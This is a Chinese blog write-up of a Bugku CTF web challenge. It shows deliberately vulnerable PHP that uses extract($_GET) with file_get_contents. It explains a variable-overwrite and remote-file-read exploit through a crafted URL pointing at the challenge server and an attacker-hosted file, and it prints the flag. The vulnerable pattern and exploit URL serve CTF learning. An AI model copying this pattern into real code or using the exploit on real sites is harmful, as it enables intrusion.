

bugku 新平台 web1 writeup

原创

sx234com 于 2019-04-10 08:48:04 发布 1491 收藏 1

分类专栏: [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/sx234com/article/details/89172647>

版权



[CTF 专栏收录该内容](#)

10 篇文章 0 订阅

订阅专栏

题目:

对方不想和你说话, 并向你扔了
一段代码

```
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
include 'flag.php';
$b='ssAEDsssss';
extract($_GET);
if(isset($a)){
    $c=trim(file_get_contents($b));
    if($a==$c){
        echo $myFlag;
    }else{
        echo '继续努力, 相信flag离你不远了';
    }
}
?>
```



<https://blog.csdn.net/sx234com>

看题型主要出题思路是变量覆盖+RFI (远程文件包含)

知识点链接:

变量覆盖: <https://www.cnblogs.com/xiaozip/7768580.html>

远程文件包含: <https://blog.csdn.net/sx234com/article/details/88994605>

解题过程代码分析: 自己按照上面的代码写出来验证一下是最好的解题思路。

```
<?php
header("Content-type:text/html;charset=utf-8");
include 'flag.php';

//echo var_dump($_GET);

$b='ssAEDsssss';

extract($_GET); //见到extract函数 考虑变量覆盖

if(isset($a)){
    $c=trim(file_get_contents($b));
```

//A 此处 读取\$b的值 因为使用了file_get_contents函数则有可能出现RFI远程文件包含漏洞

//B 构造一个远程文件info.txt 放置在我自己的服务器上面 info.txt中内容为 1 远程访问链接为http://自己的域名/info.txt

//C 而\$b变量上面已经赋值 见到extract函数 考虑变量覆盖

//D 故 url在构造的时候就可以进行赋值覆盖上面\$b='ssAEDsssss'; 的值 利用上面B得到的url 让file_get_contents读取远程info.txt内容1 覆盖变量\$b 则\$b的值为1

//E 构造URL 如下： http://123.206.31.85:10001/?a=1&b=http://你的域名/readme.txt&c=1 使传入值全部为1 触发成功

```
echo 'b='.$b.'<br/>';
echo 'a='.$a.'<br/>';
echo 'c='.$c.'<br/>';

if($a==$c){
    echo "ok flag is xxx";
}else{
    echo '不行没得到!';
}
}
```

得到的运行结果如下：

flag{c3fd1661da5efb989c72b91f3c378759}

对方不想和你说话，并向你扔了一段代码

```
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
include 'flag.php';
$b='ssAEDsssss';
extract($_GET);
if(isset($a)){
    $c=trim(file_get_contents($b));
    if($a==$c){
        echo $myFlag;
    }else{
        echo '继续努力，相信flag离你不远了';
    }
}
?>
```

